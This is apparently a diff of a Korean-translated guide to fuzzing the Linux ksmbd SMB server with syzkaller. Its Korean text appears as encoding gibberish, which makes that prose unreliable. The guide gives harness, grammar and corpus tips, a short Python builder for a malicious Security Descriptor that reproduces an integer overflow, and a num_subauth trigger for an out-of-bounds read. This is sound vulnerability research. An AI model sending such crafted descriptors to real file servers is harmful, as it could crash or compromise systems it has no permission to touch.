oplock.c (oplock request/break) -- smbacl.c (ACL parsing/enforcement) -- vfs.c (VFS ops) -- vfs_cache.c (lookup cache) +์ด๋“ค์„ ํ™œ์„ฑํ™”ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋ชจ๋“ˆ์—์„œ ์‹คํ–‰์ด ์ฆ๊ฐ€ํ•ฉ๋‹ˆ๋‹ค: +- smb2pdu.c (๋ช…๋ น ํŒŒ์‹ฑ/๋””์ŠคํŒจ์น˜) +- ndr.c (NDR ์ธ์ฝ”๋“œ/๋””์ฝ”๋“œ) +- oplock.c (oplock ์š”์ฒญ/์ค‘๋‹จ) +- smbacl.c (ACL ํŒŒ์‹ฑ/๊ฐ•์ œ) +- vfs.c (VFS ์—ฐ์‚ฐ) +- vfs_cache.c (์กฐํšŒ ์บ์‹œ) ์ฐธ๊ณ  -- ์ •ํ™•ํ•œ ์˜ต์…˜์€ ๋ฐฐํฌํŒ์˜ ksmbd userspace (ksmbd-tools)์— ๋”ฐ๋ผ ๋‹ฌ๋ผ์ง‘๋‹ˆ๋‹ค. /etc/ksmbd/ksmbd.conf ๋ฐ per-share ์„น์…˜์„ ๊ฒ€ํ† ํ•˜์—ฌ durable handles, leases, oplocks ๋ฐ VFS objects๋ฅผ ํ™œ์„ฑํ™”ํ•˜์„ธ์š”. -- Multi-channel๊ณผ durable handles๋Š” ์ƒํƒœ ๋จธ์‹ ๊ณผ ์ˆ˜๋ช…์„ ๋ณ€๊ฒฝํ•˜์—ฌ, ๋™์‹œ์„ฑ ์ƒํ™ฉ์—์„œ UAF/refcount/OOB ๋ฒ„๊ทธ๋ฅผ ์ž์ฃผ ๋“œ๋Ÿฌ๋ƒ…๋‹ˆ๋‹ค. +- ์ •ํ™•ํ•œ ์˜ต์…˜์€ ๋ฐฐํฌํŒ์˜ ksmbd ์‚ฌ์šฉ์ž ๊ณต๊ฐ„(ksmbd-tools)์— ๋”ฐ๋ผ ๋‹ค๋ฆ…๋‹ˆ๋‹ค. /etc/ksmbd/ksmbd.conf ๋ฐ ๊ฐ share ์„น์…˜์„ ๊ฒ€ํ† ํ•˜์—ฌ durable handles, leases, oplocks ๋ฐ VFS objects๋ฅผ ํ™œ์„ฑํ™”ํ•˜์„ธ์š”. +- Multi-channel๊ณผ durable handles๋Š” ์ƒํƒœ ๋จธ์‹ ๊ณผ ์ˆ˜๋ช…์— ์˜ํ–ฅ์„ ์ฃผ๋ฉฐ, ๋™์‹œ์„ฑ ํ•˜์—์„œ UAF/refcount/OOB ๋ฒ„๊ทธ๋ฅผ ์ž์ฃผ ๋“œ๋Ÿฌ๋ƒ…๋‹ˆ๋‹ค. --- ## ํผ์ง•์„ ์œ„ํ•œ ์ธ์ฆ ๋ฐ ์†๋„ ์ œํ•œ ์กฐ์ • -SMB3๋Š” ์œ ํšจํ•œ ์„ธ์…˜์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ํ•˜๋‹ˆ์Šค์— Kerberos๋ฅผ ๊ตฌํ˜„ํ•˜๋ฉด ๋ณต์žก์„ฑ์ด ์ฆ๊ฐ€ํ•˜๋ฏ€๋กœ ํผ์ง•์—๋Š” NTLM/guest๋ฅผ ์„ ํ˜ธํ•˜์„ธ์š”: +SMB3๋Š” ์œ ํšจํ•œ ์„ธ์…˜์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ํ•˜๋‹ˆ์Šค์— Kerberos๋ฅผ ๊ตฌํ˜„ํ•˜๋ฉด ๋ณต์žก์„ฑ์ด ์ฆ๊ฐ€ํ•˜๋ฏ€๋กœ ํผ์ง•์—๋Š” NTLM/guest๋ฅผ ๊ถŒ์žฅํ•ฉ๋‹ˆ๋‹ค: -- guest ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•˜๊ณ  map to guest = bad user๋กœ ์„ค์ •ํ•˜์—ฌ ์•Œ๋ ค์ง€์ง€ ์•Š์€ ์‚ฌ์šฉ์ž๊ฐ€ GUEST๋กœ ํด๋ฐฑ๋˜๋„๋ก ํ•˜์„ธ์š”. -- NTLMv2๋ฅผ ํ—ˆ์šฉํ•˜์„ธ์š”(๋น„ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๋‹ค๋ฉด ์ •์ฑ…์„ ํŒจ์น˜). ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ํ•ธ๋“œ์…ฐ์ดํฌ๋ฅผ ๋‹จ์ˆœํ•˜๊ฒŒ ์œ ์ง€ํ•˜๋ฉด์„œ SMB3 ์ฝ”๋“œ ๊ฒฝ๋กœ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -- ์‹คํ—˜ ์‹œ ์—„๊ฒฉํ•œ credit ๊ฒ€์‚ฌ๋ฅผ ํŒจ์น˜ํ•˜์„ธ์š”(post-hardening for CVE-2024-50285๋กœ ์ธํ•ด ๋™์‹œ-op ํฌ๋ ˆ๋””ํŒ…์ด ๋” ์—„๊ฒฉํ•ด์กŒ์Šต๋‹ˆ๋‹ค). ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด ์†๋„ ์ œํ•œ์œผ๋กœ ์ธํ•ด ํผ์ง• ์ค‘์ธ ์‹œํ€€์Šค๊ฐ€ ๋„ˆ๋ฌด ์ผ์ฐ ๊ฑฐ๋ถ€๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -- ๊ณ ์ฒ˜๋ฆฌ๋Ÿ‰ ํผ์ง• ์ค‘ ์กฐ๊ธฐ ๊ฑฐ๋ถ€๋ฅผ ํ”ผํ•˜๊ธฐ ์œ„ํ•ด ์ตœ๋Œ€ ์—ฐ๊ฒฐ ์ˆ˜๋ฅผ ๋Š˜๋ฆฌ์„ธ์š”(์˜ˆ: 65536). +- guest ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•˜๊ณ  map to guest = bad user๋กœ ์„ค์ •ํ•ด ์•Œ๋ ค์ง€์ง€ ์•Š์€ ์‚ฌ์šฉ์ž๊ฐ€ GUEST๋กœ ํด๋ฐฑ๋˜๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. +- NTLMv2๋ฅผ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค(๋น„ํ™œ์„ฑํ™”๋œ ๊ฒฝ์šฐ ์ •์ฑ…์„ ํŒจ์น˜). ์ด๋Š” ํ•ธ๋“œ์…ฐ์ดํฌ๋ฅผ ๋‹จ์ˆœํ•˜๊ฒŒ ์œ ์ง€ํ•˜๋ฉด์„œ SMB3 ์ฝ”๋“œ ๊ฒฝ๋กœ๋ฅผ ์‹คํ–‰ํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. +- ์‹คํ—˜ ์ค‘์—๋Š” ์—„๊ฒฉํ•œ credit ๊ฒ€์‚ฌ(credit checks)๋ฅผ ํŒจ์น˜ํ•ด ์ œ๊ฑฐํ•˜์„ธ์š” (ํ•˜๋“œ๋‹ ์ดํ›„ CVE-2024-50285๋กœ ๋™์‹œ ์ž‘์—… ํฌ๋ ˆ๋”ง ๋ถ€์—ฌ๊ฐ€ ๋” ์—„๊ฒฉํ•ด์กŒ์Šต๋‹ˆ๋‹ค). ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด ์†๋„ ์ œํ•œ์ด ํผ์ฆˆ๋œ ์‹œํ€€์Šค๋ฅผ ๋„ˆ๋ฌด ์ผ์ฐ ๊ฑฐ๋ถ€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- ์ตœ๋Œ€ ์—ฐ๊ฒฐ ์ˆ˜๋ฅผ ์ฆ๊ฐ€์‹œ์ผœ(์˜ˆ: 65536) ๊ณ ์ฒ˜๋ฆฌ๋Ÿ‰ ํผ์ง• ์ค‘ ์กฐ๊ธฐ ๊ฑฐ๋ถ€๋ฅผ ํ”ผํ•˜์„ธ์š”. -์ฃผ์˜: ์ด๋Ÿฌํ•œ ์™„ํ™”๋Š” ํผ์ง•์„ ์šฉ์ดํ•˜๊ฒŒ ํ•˜๊ธฐ ์œ„ํ•œ ๊ฒƒ๋ฟ์ž…๋‹ˆ๋‹ค. ํ”„๋กœ๋•์…˜ ํ™˜๊ฒฝ์— ์ด๋Ÿฌํ•œ ์„ค์ •์„ ์ ์šฉํ•˜์ง€ ๋งˆ์„ธ์š”. +์ฃผ์˜: ์ด๋Ÿฌํ•œ ์™„ํ™”๋Š” ํผ์ง•์„ ์šฉ์ดํ•˜๊ฒŒ ํ•˜๊ธฐ ์œ„ํ•œ ๊ฒƒ๋ฟ์ž…๋‹ˆ๋‹ค. ์šด์˜ ํ™˜๊ฒฝ์— ์ด ์„ค์ •์„ ๋ฐฐํฌํ•˜์ง€ ๋งˆ์„ธ์š”. --- ## ์ƒํƒœ ์œ ์ง€ ํ•˜๋‹ˆ์Šค: ๋ฆฌ์†Œ์Šค ์ถ”์ถœ ๋ฐ ์š”์ฒญ ์ฒด์ด๋‹ -SMB๋Š” ์ƒํƒœ ๊ธฐ๋ฐ˜์ž…๋‹ˆ๋‹ค: ๋งŽ์€ ์š”์ฒญ์ด ์ด์ „ ์‘๋‹ต์—์„œ ๋ฐ˜ํ™˜๋œ ์‹๋ณ„์ž(SessionId, TreeID, FileID ์Œ ๋“ฑ)์— ์˜์กดํ•ฉ๋‹ˆ๋‹ค. ํ•˜๋‹ˆ์Šค๋Š” ์‘๋‹ต์„ ํŒŒ์‹ฑํ•˜์—ฌ ๋™์ผํ•œ ํ”„๋กœ๊ทธ๋žจ ๋‚ด์—์„œ ID๋ฅผ ์žฌ์‚ฌ์šฉํ•ด์•ผ ์‹ฌ์ธต ํ•ธ๋“ค๋Ÿฌ์— ๋„๋‹ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์˜ˆ: smb2_create โ†’ smb2_ioctl โ†’ smb2_close). +SMB๋Š” ์ƒํƒœ๋ฅผ ๊ฐ€์ง‘๋‹ˆ๋‹ค: ๋งŽ์€ ์š”์ฒญ์ด ์ด์ „ ์‘๋‹ต์—์„œ ๋ฐ˜ํ™˜๋œ ์‹๋ณ„์ž(SessionId, TreeID, FileID ์Œ ๋“ฑ)์— ์˜์กดํ•ฉ๋‹ˆ๋‹ค. ํ•˜๋‹ˆ์Šค๋Š” ์‘๋‹ต์„ ํŒŒ์‹ฑํ•˜๊ณ  ๋™์ผํ•œ ํ”„๋กœ๊ทธ๋žจ ๋‚ด์—์„œ ID๋ฅผ ์žฌ์‚ฌ์šฉํ•˜์—ฌ ๊นŠ์€ ํ•ธ๋“ค๋Ÿฌ์— ๋„๋‹ฌํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค(์˜ˆ: smb2_create โ†’ smb2_ioctl โ†’ smb2_close). -์‘๋‹ต ๋ฒ„ํผ๋ฅผ ์ฒ˜๋ฆฌํ•˜๊ณ (+4B NetBIOS PDU ๊ธธ์ด๋Š” ๊ฑด๋„ˆ๋œ€) ID๋ฅผ ์บ์‹œํ•˜๋Š” ์˜ˆ์‹œ ์Šค๋‹ˆํŽซ: +์˜ˆ์ œ ์Šค๋‹ˆํŽซ: ์‘๋‹ต ๋ฒ„ํผ( +4B NetBIOS PDU ๊ธธ์ด ์ƒ๋žต)๋ฅผ ์ฒ˜๋ฆฌํ•˜๊ณ  ID๋ฅผ ์บ์‹œํ•˜๋Š” ๋ฐฉ๋ฒ•: ```c // process response. does not contain +4B PDU length void process_buffer(int msg_no, const char *buffer, size_t received) { @@ -76,15 +76,15 @@ break; } ``` ํŒ -- ์ธ์ฆ/์ƒํƒœ๋ฅผ ๊ณต์œ ํ•˜๋Š” fuzzer ํ”„๋กœ์„ธ์Šค ํ•˜๋‚˜๋ฅผ ์œ ์ง€ํ•˜์„ธ์š”: ksmbd์˜ ์ „์—ญ/์„ธ์…˜ ํ…Œ์ด๋ธ”๊ณผ ํ•จ๊ป˜ ๋” ๋‚˜์€ ์•ˆ์ •์„ฑ ๋ฐ ์ปค๋ฒ„๋ฆฌ์ง€๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. syzkaller๋Š” ops๋ฅผ async๋กœ ํ‘œ์‹œํ•ด ๋™์‹œ์„ฑ์„ ์ฃผ์ž…ํ•˜๊ณ  ๋‚ด๋ถ€์ ์œผ๋กœ ์žฌ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค. -- Syzkaller์˜ ์‹คํ—˜์  ๊ธฐ๋Šฅ reset_acc_state๋Š” ์ „์—ญ ์ƒํƒœ๋ฅผ ๋ฆฌ์…‹ํ•  ์ˆ˜ ์žˆ์ง€๋งŒ ์‹ฌํ•œ ์„ฑ๋Šฅ ์ €ํ•˜๋ฅผ ์ดˆ๋ž˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋Œ€์‹  ์•ˆ์ •์„ฑ์„ ์šฐ์„ ํ•˜๊ณ  fuzzing์— ์ง‘์ค‘ํ•˜์„ธ์š”. +- ์ธ์ฆ/์ƒํƒœ๋ฅผ ๊ณต์œ ํ•˜๋Š” fuzzer ํ”„๋กœ์„ธ์Šค ํ•˜๋‚˜๋ฅผ ์œ ์ง€ํ•˜์„ธ์š”: ksmbdโ€™s global/session tables์—์„œ ๋” ๋‚˜์€ ์•ˆ์ •์„ฑ๊ณผ ์ปค๋ฒ„๋ฆฌ์ง€๋ฅผ ์–ป์Šต๋‹ˆ๋‹ค. syzkaller๋Š” ops๋ฅผ async๋กœ ํ‘œ์‹œํ•ด ๋‚ด๋ถ€์ ์œผ๋กœ ์žฌ์‹คํ–‰ํ•˜๋ฉด์„œ ์—ฌ์ „ํžˆ ๋™์‹œ์„ฑ์„ ์ฃผ์ž…ํ•ฉ๋‹ˆ๋‹ค. +- Syzkaller์˜ experimental reset_acc_state๋Š” global state๋ฅผ ๋ฆฌ์…‹ํ•  ์ˆ˜ ์žˆ์ง€๋งŒ ์‹ฌ๊ฐํ•œ ์„ฑ๋Šฅ ์ €ํ•˜๋ฅผ ์ดˆ๋ž˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์•ˆ์ •์„ฑ์„ ์šฐ์„ ํ•˜๊ณ  fuzzing์— ์ง‘์ค‘ํ•˜์„ธ์š”. --- ## ๋ฌธ๋ฒ• ๊ธฐ๋ฐ˜ SMB2 ์ƒ์„ฑ (์œ ํšจํ•œ PDUs) -Microsoft Open Specifications์˜ SMB2 ๊ตฌ์กฐ๋ฅผ fuzzer grammar๋กœ ๋ณ€ํ™˜ํ•ด generator๊ฐ€ ๊ตฌ์กฐ์ ์œผ๋กœ ์œ ํšจํ•œ PDU๋ฅผ ์ƒ์„ฑํ•˜๋„๋ก ํ•˜์„ธ์š”. ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด PDUs๊ฐ€ ์ฒด๊ณ„์ ์œผ๋กœ ๋””์ŠคํŒจ์ฒ˜์™€ IOCTL ํ•ธ๋“ค๋Ÿฌ์— ๋„๋‹ฌํ•ฉ๋‹ˆ๋‹ค. +Microsoft Open Specifications์˜ SMB2 ๊ตฌ์กฐ๋ฅผ fuzzer grammar๋กœ ๋ณ€ํ™˜ํ•˜์—ฌ generator๊ฐ€ ๊ตฌ์กฐ์ ์œผ๋กœ ์œ ํšจํ•œ PDUs๋ฅผ ์ƒ์„ฑํ•˜๋„๋ก ํ•˜์„ธ์š”. ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด dispatchers์™€ IOCTL handlers์— ์ฒด๊ณ„์ ์œผ๋กœ ๋„๋‹ฌํ•ฉ๋‹ˆ๋‹ค. -์˜ˆ์‹œ (SMB2 IOCTL ์š”์ฒญ): +์˜ˆ์‹œ (SMB2 IOCTL request): ``` smb2_ioctl_req { Header_Prefix SMB2Header_Prefix @@ -107,12 +107,12 @@ Input array[int8] Output array[int8] } [packed] ``` -์ด ์Šคํƒ€์ผ์€ ์˜ฌ๋ฐ”๋ฅธ structure sizes/offsets๋ฅผ ๊ฐ•์ œํ•˜๋ฉฐ blind mutation์— ๋น„ํ•ด ์ปค๋ฒ„๋ฆฌ์ง€๋ฅผ ํš๊ธฐ์ ์œผ๋กœ ํ–ฅ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค. +์ด ๋ฐฉ์‹์€ ๊ตฌ์กฐ์ฒด ํฌ๊ธฐ/์˜คํ”„์…‹์„ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ๊ฐ•์ œํ•˜๋ฉฐ ๋ธ”๋ผ์ธ๋“œ ๋ฎคํ…Œ์ด์…˜์— ๋น„ํ•ด ์ปค๋ฒ„๋ฆฌ์ง€๋ฅผ ๊ทน์ ์œผ๋กœ ํ–ฅ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค. --- ## Directed Fuzzing With focus_areas -ํ˜„์žฌ ์ปค๋ฒ„๋ฆฌ์ง€๊ฐ€ ์•ฝํ•œ ํŠน์ • ํ•จ์ˆ˜/ํŒŒ์ผ์— ๊ฐ€์ค‘์น˜๋ฅผ ๋‘๊ธฐ ์œ„ํ•ด syzkaller์˜ ์‹คํ—˜์  focus_areas๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”. ์˜ˆ์‹œ JSON: +syzkallerโ€™s ์‹คํ—˜์  focus_areas๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ˜„์žฌ ์ปค๋ฒ„๋ฆฌ์ง€๊ฐ€ ์•ฝํ•œ ํŠน์ • ํ•จ์ˆ˜/ํŒŒ์ผ์— ๊ฐ€์ค‘์น˜๋ฅผ ๋”ํ•˜์„ธ์š”. ์˜ˆ์‹œ JSON: ```json { "focus_areas": [ @@ -122,9 +122,9 @@ Output array[int8] ] } ``` -์ด๋Š” smbacl.c์˜ ์‚ฐ์ˆ /overflow ๊ฒฝ๋กœ๋ฅผ ์œ ๋ฐœํ•˜๋Š” ์œ ํšจํ•œ ACLs๋ฅผ ๊ตฌ์„ฑํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ๊ณผ๋„ํ•œ dacloffset์„ ๊ฐ€์ง„ ์•…์˜์ ์ธ Security Descriptor๊ฐ€ integer-overflow๋ฅผ ์žฌํ˜„ํ•ฉ๋‹ˆ๋‹ค. +์ด๊ฒƒ์€ smbacl.c์˜ arithmetic/overflow ๊ฒฝ๋กœ๋ฅผ ํƒ€๊นƒํ•˜๋Š” ์œ ํšจํ•œ ACLs๋ฅผ ๊ตฌ์„ฑํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ๊ณผ๋„ํ•œ dacloffset์„ ๊ฐ€์ง„ ์•…์˜์ ์ธ Security Descriptor๋Š” integer-overflow๋ฅผ ์žฌํ˜„ํ•ฉ๋‹ˆ๋‹ค. -์žฌํ˜„๊ธฐ ๋นŒ๋” (minimal Python): +์žฌํ˜„๊ธฐ ๋นŒ๋” (๊ฐ„๋‹จํ•œ Python): ```python def build_sd(): import struct @@ -143,8 +143,8 @@ return bytes(sd) ``` --- -## ANYBLOB์œผ๋กœ ์ปค๋ฒ„๋ฆฌ์ง€ ์ •์ฒด ๋ŒํŒŒ -syzkaller์˜ anyTypes (ANYBLOB/ANYRES)๋Š” ๋ณต์žกํ•œ ๊ตฌ์กฐ์ฒด๋ฅผ ํ˜•์‹์— ๊ตฌ์• ๋ฐ›์ง€ ์•Š๊ณ  ๋ณ€ํ˜• ๊ฐ€๋Šฅํ•œ blob์œผ๋กœ ํ•ฉ์น  ์ˆ˜ ์žˆ๋‹ค. ๊ณต๊ฐœ๋œ SMB pcaps์—์„œ ์ƒˆ๋กœ์šด corpus๋ฅผ ์ƒ์„ฑํ•˜๊ณ  ํŽ˜์ด๋กœ๋“œ๋ฅผ syzkaller ํ”„๋กœ๊ทธ๋žจ์œผ๋กœ ๋ณ€ํ™˜ํ•ด ๋‹น์‹ ์˜ pseudo-syscall(์˜ˆ: syz_ksmbd_send_req)์„ ํ˜ธ์ถœํ•˜๊ฒŒ ํ•˜๋ผ: +## ANYBLOB๋กœ ์ปค๋ฒ„๋ฆฌ์ง€ ์ •์ฒด ๋ŒํŒŒ +syzkallerโ€™s anyTypes (ANYBLOB/ANYRES)๋Š” ๋ณต์žกํ•œ ๊ตฌ์กฐ๋ฅผ ์ผ๋ฐ˜์ ์œผ๋กœ mutateํ•˜๋Š” blob์œผ๋กœ ์ถ•์†Œํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค€๋‹ค. ๊ณต๊ฐœ SMB pcaps์—์„œ ์ƒˆ๋กœ์šด corpus๋ฅผ seedํ•˜๊ณ  payload๋ฅผ syzkaller ํ”„๋กœ๊ทธ๋žจ์œผ๋กœ ๋ณ€ํ™˜ํ•˜์—ฌ ๋‹น์‹ ์˜ pseudo-syscall(์˜ˆ: syz_ksmbd_send_req)์„ ํ˜ธ์ถœํ•˜๋ผ: ```bash # Extract SMB payloads to JSON # tshark -r smb2_dac_sample.pcap -Y "smb || smb2" -T json -e tcp.payload > packets.json @@ -167,14 +167,14 @@ f.write( f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)" ) ``` -์ด๊ฒƒ์€ ํƒ์ƒ‰์„ ๋น ๋ฅด๊ฒŒ ์‹œ์ž‘์‹œํ‚ค๋ฉฐ UAFs(์˜ˆ: ksmbd_sessions_deregister) ๋ฅผ ์ฆ‰์‹œ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ๊ณ  ์ปค๋ฒ„๋ฆฌ์ง€๋ฅผ ๋ช‡ ํผ์„ผํŠธ ์ •๋„ ๋Œ์–ด์˜ฌ๋ฆฐ๋‹ค. +์ด๊ฒƒ์€ ํƒ์ƒ‰์„ ๋น ๋ฅด๊ฒŒ ์‹œ์ž‘์‹œํ‚ค๋ฉฐ ์ปค๋ฒ„๋ฆฌ์ง€๋ฅผ ๋ช‡ ํผ์„ผํŠธ ๋Œ์–ด์˜ฌ๋ฆฌ๋Š” ๋™์‹œ์— ์ฆ‰์‹œ UAFs(์˜ˆ: ksmbd_sessions_deregister)๋ฅผ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. --- -## Sanitizers: KASAN์„ ๋„˜์–ด์„œ -- KASAN์€ ํž™ ๋ฒ„๊ทธ(UAF/OOB)๋ฅผ ํƒ์ง€ํ•˜๋Š” ์ฃผ์š” ๋„๊ตฌ๋กœ ์—ฌ์ „ํžˆ ๋‚จ์•„ ์žˆ๋‹ค. -- KCSAN์€ ์ด ํƒ€๊ฒŸ์—์„œ ์ข…์ข… ์˜คํƒ์ด๋‚˜ ๋‚ฎ์€ ์‹ฌ๊ฐ๋„์˜ ๋ฐ์ดํ„ฐ ๋ ˆ์ด์Šค๋ฅผ ๋ณด๊ณ ํ•œ๋‹ค. -- UBSAN/KUBSAN์€ ๋ฐฐ์—ด ์ธ๋ฑ์Šค ์˜๋ฏธ๋ก  ๋•Œ๋ฌธ์— KASAN์ด ๋†“์น˜๋Š” ์„ ์–ธ๋œ ๊ฒฝ๊ณ„ ์˜ค๋ฅ˜๋ฅผ ์žก์•„๋‚ผ ์ˆ˜ ์žˆ๋‹ค. ์˜ˆ: +## Sanitizers: Beyond KASAN +- KASAN์€ ํž™ ๋ฒ„๊ทธ(UAF/OOB)๋ฅผ ํƒ์ง€ํ•˜๋Š” ์ฃผ์š” ์ˆ˜๋‹จ์œผ๋กœ ๋‚จ์•„ ์žˆ์Šต๋‹ˆ๋‹ค. +- KCSAN์€ ์ด ๋Œ€์ƒ์—์„œ ์ข…์ข… ์˜คํƒ์„ ๋‚ด๊ฑฐ๋‚˜ ์‹ฌ๊ฐ๋„๊ฐ€ ๋‚ฎ์€ ๋ฐ์ดํ„ฐ ๋ ˆ์ด์Šค๋ฅผ ๋ณด๊ณ ํ•ฉ๋‹ˆ๋‹ค. +- UBSAN/KUBSAN์€ ๋ฐฐ์—ด ์ธ๋ฑ์Šค ์˜๋ฏธ๋ก  ๋•Œ๋ฌธ์— KASAN์ด ๋†“์น˜๋Š” ์„ ์–ธ๋œ ๊ฒฝ๊ณ„ ์˜ค๋ฅ˜๋ฅผ ์žก์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ: ```c id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]); struct smb_sid { @@ -182,24 +182,24 @@ __u8 revision; __u8 num_subauth; __u8 authority[NUM_AUTHS]; __le32 sub_auth[SID_MAX_SUB_AUTHORITIES]; /* sub_auth[num_subauth] */ } __attribute__((packed)); ``` -Setting num_subauth = 0์„ ์„ค์ •ํ•˜๋ฉด sub_auth[-1]์— ๋Œ€ํ•œ in-struct OOB read๊ฐ€ ๋ฐœ์ƒํ•˜๋ฉฐ, UBSAN์˜ declared-bounds ๊ฒ€์‚ฌ์— ์˜ํ•ด ํฌ์ฐฉ๋ฉ๋‹ˆ๋‹ค. +num_subauth = 0์œผ๋กœ ์„ค์ •ํ•˜๋ฉด ๊ตฌ์กฐ์ฒด ๋‚ด๋ถ€์—์„œ sub_auth[-1]์— ๋Œ€ํ•œ OOB read๊ฐ€ ๋ฐœ์ƒํ•˜๋ฉฐ, UBSAN์˜ declared-bounds ๊ฒ€์‚ฌ์— ์˜ํ•ด ํฌ์ฐฉ๋ฉ๋‹ˆ๋‹ค. --- -## ์ฒ˜๋ฆฌ๋Ÿ‰ ๋ฐ ๋ณ‘๋ ฌ์„ฑ ๊ด€๋ จ ๋ฉ”๋ชจ -- ๋‹จ์ผ fuzzer ํ”„๋กœ์„ธ์Šค(์ธ์ฆ/์ƒํƒœ ๊ณต์œ )๋Š” ksmbd์—์„œ ํ›จ์”ฌ ๋” ์•ˆ์ •์ ์ด๋ฉฐ, syzkaller์˜ internal async executor ๋•๋ถ„์— ์—ฌ์ „ํžˆ races/UAFs๋ฅผ ๋“œ๋Ÿฌ๋ƒ…๋‹ˆ๋‹ค. -- ์—ฌ๋Ÿฌ VM์„ ์‚ฌ์šฉํ•˜๋ฉด ์ „์ฒด์ ์œผ๋กœ ์ดˆ๋‹น ์ˆ˜๋ฐฑ ๊ฑด์˜ SMB ๋ช…๋ น์„ ์—ฌ์ „ํžˆ ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ•จ์ˆ˜ ์ˆ˜์ค€ ์ปค๋ฒ„๋ฆฌ์ง€๋Š” fs/smb/server์˜ ์•ฝ 60%์™€ smb2pdu.c์˜ ์•ฝ 70% ์ •๋„ ๋‹ฌ์„ฑ์ด ๊ฐ€๋Šฅํ•˜์ง€๋งŒ, ์ด๋Ÿฌํ•œ ์ง€ํ‘œ๋Š” ์ƒํƒœ ์ „ํ™˜ ์ปค๋ฒ„๋ฆฌ์ง€๋ฅผ ์ถฉ๋ถ„ํžˆ ๋ฐ˜์˜ํ•˜์ง€ ๋ชปํ•ฉ๋‹ˆ๋‹ค. +## ์ฒ˜๋ฆฌ๋Ÿ‰ ๋ฐ ๋ณ‘๋ ฌ์„ฑ ์ฃผ์˜์‚ฌํ•ญ +- ๋‹จ์ผ fuzzer ํ”„๋กœ์„ธ์Šค (shared auth/state)๋Š” ksmbd์— ๋Œ€ํ•ด ํ›จ์”ฌ ๋” ์•ˆ์ •์ ์ธ ๊ฒฝํ–ฅ์ด ์žˆ์œผ๋ฉฐ, syzkaller์˜ ๋‚ด๋ถ€ async executor ๋•๋ถ„์— ์—ฌ์ „ํžˆ races/UAFs๋ฅผ ๋“œ๋Ÿฌ๋ƒ…๋‹ˆ๋‹ค. +- ์—ฌ๋Ÿฌ VM์„ ์‚ฌ์šฉํ•˜๋ฉด ์ „๋ฐ˜์ ์œผ๋กœ ์ดˆ๋‹น ์ˆ˜๋ฐฑ ๊ฑด์˜ SMB ๋ช…๋ น์„ ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ•จ์ˆ˜ ์ˆ˜์ค€์˜ ์ปค๋ฒ„๋ฆฌ์ง€๋Š” fs/smb/server์˜ ์•ฝ 60% ๋ฐ smb2pdu.c์˜ ์•ฝ 70% ์ •๋„ ๋‹ฌ์„ฑํ•  ์ˆ˜ ์žˆ์œผ๋‚˜, ์ƒํƒœ ์ „์ด(state-transition) ์ปค๋ฒ„๋ฆฌ์ง€๋Š” ์ด๋Ÿฌํ•œ ์ง€ํ‘œ๋กœ๋Š” ๊ณผ์†Œํ‰๊ฐ€๋ฉ๋‹ˆ๋‹ค. --- -## ์‹ค์šฉ ์ฒดํฌ๋ฆฌ์ŠคํŠธ +## ์‹ค๋ฌด ์ฒดํฌ๋ฆฌ์ŠคํŠธ - ksmbd์—์„œ durable handles, leases, multi-channel, oplocks ๋ฐ VFS objects๋ฅผ ํ™œ์„ฑํ™”ํ•˜์„ธ์š”. - guest ๋ฐ map-to-guest๋ฅผ ํ—ˆ์šฉํ•˜๊ณ  NTLMv2๋ฅผ ์ˆ˜์šฉํ•˜์„ธ์š”. fuzzer ์•ˆ์ •์„ฑ์„ ์œ„ํ•ด credit limits๋ฅผ ์ œ๊ฑฐํ•˜๊ณ  max connections๋ฅผ ๋Š˜๋ฆฌ์„ธ์š”. - SessionId/TreeID/FileIDs๋ฅผ ์บ์‹œํ•˜๊ณ  create โ†’ ioctl โ†’ close๋ฅผ ์—ฐ์‡„ํ•˜๋Š” stateful harness๋ฅผ ๊ตฌ์ถ•ํ•˜์„ธ์š”. - ๊ตฌ์กฐ์  ์œ ํšจ์„ฑ์„ ์œ 